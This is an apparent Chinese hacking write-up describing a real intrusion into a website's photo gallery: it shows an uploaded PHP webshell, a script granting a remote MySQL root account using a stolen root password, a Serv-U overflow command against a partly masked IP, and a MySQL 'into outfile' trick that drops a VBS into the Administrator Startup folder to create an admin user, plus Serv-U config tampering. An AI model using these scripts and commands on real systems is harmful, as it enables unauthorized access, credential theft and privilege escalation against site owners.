Warning:passthru():Unabletofork[dir]inD:\s***n\a***lover\photo\gallery\webshell.phponline1
看来外部命令不能执行,管理员一定作了相应设置.再上传一个phpinfo.php文件在浏览器中运行:http://www.*****.net/a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设置都显示出来了(当然也你可以利用CASI看c:\windows\php.ini的内容)!外部命令不能执行的原因在此:
引用内容
safe_mode
Off
Off
safe_mode_exec_dir
no value
no value
safe_mode_gid
Off
Off
safe_mode_include_dir
no value
no value
接下来上传一个自己编的仅带有浏览, 拷贝, 重命名, 删除文件和上传文件五个功能的PHPSHELL:CMD.PHP
注: 由于时间仓促代码界面没优化好, 在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\web\cmd.php, 下面输入目标 文件如d:\web\cmdbak.php;del文本框中输入要删除的文件名如:d:\web\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了.
运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^
如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗?
$dbhost="localhost";//数据库主机名
$dbuser="root";//数据库用户名
$dbpass="******";//数据库密码
$dbname="article";//数据库名
数据库用户名和密码都知道了, 可惜的是本地用户, 然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。
为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号, 内容如下:
引用内容
$dbh=mysql_connect('localhost:3306','root','*****');//
echo mysql_errno().": ".mysql_error()."
";
mysql_select_db('mysql');
echo mysql_errno().": ".mysql_error()."
";
$query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password'
WITH GRANT OPTION";
$res=mysql_query($query, $dbh);
echo mysql_errno().": ".mysql_error()."
";
$err=mysql_error();
if($err){
echo "ERROR!";
}
else{
echo "ADD USER OK!";
}
?>
利用cmd.php上传adduser.php执行后, 就在库中添加了一个远程ROOT帐号, 就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。
二:权限的提升
FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存在益处, 在网上搜个工具sftp
行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功 www.arpun.com , 看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下总结了几种提升权限的方法供大参考:
方法一、打开牛族MYSQL连接器, 在命令行上输入:
user download;
create table cmdphp (cmd TEXT);
insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")");
insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)");
insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)");
select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[开始]菜单\\程序\\启动\\cmdphp.vbs";
注 意:在路径中要用"\\"而不是"\", 要加双引号时, 前面必需加"\"。
原理是:我们在download数据库中, 建了一个表cmdphp, 表中共一个 字段cmd, 我们把要执行的命令写到表中, 然后在在表中导出到启动菜单中!这样只要一重起后, 我们就会得到一个管理员级的用户hello了。 d:\ s***n\a***lover\photo\gallery
方法二、修改SERV-U的文件ServUDaemon.ini中的相应内容:
Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971
HomeDir=c:\
RelPaths=1
TimeOut=600
Access1=D:\s***n\ a***lover\photo\gallery (北联网教程,专业提供视频软件下载)
……